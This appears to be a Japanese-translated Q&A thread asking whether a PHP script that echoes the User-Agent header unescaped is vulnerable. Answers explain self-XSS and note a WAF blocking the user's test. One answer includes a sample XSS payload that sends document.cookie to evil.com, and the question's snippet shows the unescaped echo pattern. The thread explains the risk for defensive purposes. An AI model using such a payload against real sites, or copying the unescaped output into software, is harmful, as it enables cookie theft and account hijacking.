web-dev-qa-db-ja.com

PHP)のユーザーエージェントを直接エコーしていますか?

このスクリプトはPHPまたはJSコードインジェクションに対して脆弱ですか?)私の簡単なテストでは、ユーザーエージェントをPHPスクリプトに変更しましたが、印刷されるだけでは実行されません。ユーザーエージェントをjavascriptコードに変更すると、Webサーバーによって拒否された接続を受け取ります。

この種類のスクリプトで安全ですか?

<?php 
$u=$_SERVER['HTTP_USER_AGENT']
?>
<html>
<pre>string</pre>
<?php echo $u; ?>
</html>
5
backdev1

PHPコードが挿入されることを心配する必要はありません。echoコマンドは、単に内容をエコーするだけで、実行しません。

ただし、JSの方が問題があります。コードがXSSに対して脆弱である可能性があります。クライアントはユーザーエージェントを制御し、攻撃者はクライアントを制御します。攻撃者が任意のHTMLおよびJSコードをWebページに挿入できるようにします。次のようなユーザーエージェントを使用するだけです。

<img src="" onError="window.location='https://evil.com?'+document.cookie">

攻撃者にとって大きな問題が1つあります。自分のユーザーエージェントを変更するのは簡単ですが、他のユーザーを実際に変更することはできません。したがって、これを使って自分以外の誰かをハッキングする方法は明らかではありません。これは、セルフXSSのかなり高度な形式です。他のユーザーのユーザーエージェント(ログなど)を保存して表示している場合は、はるかに大きな危険があります。しかし、これは単純なスクリプトには当てはまりません。

なぜそれがうまくいかないのですか?あなたの攻撃は、なんらかのWAFなどによってブロックされているようです。それは素晴らしいことですが、WAFがあなたを保護することを期待して悪いコードを書かないでください! WAFはすべてからあなたを保護しません。そして、あなたのコードが将来どこで実行されるか、そしてそこにWAFがあるかどうか誰が知っています...

9
Anders

入力が解析されて予期しない動作が発生しないようにする必要があります。ただし、このコードでは、損傷のある攻撃を阻止するのは非常に困難です。 PHPは実行されませんが、XSS攻撃で使用される可能性があります。

上記のコードが機能しないのは、2行目にセミコロンがないためです。

0
LTPCGO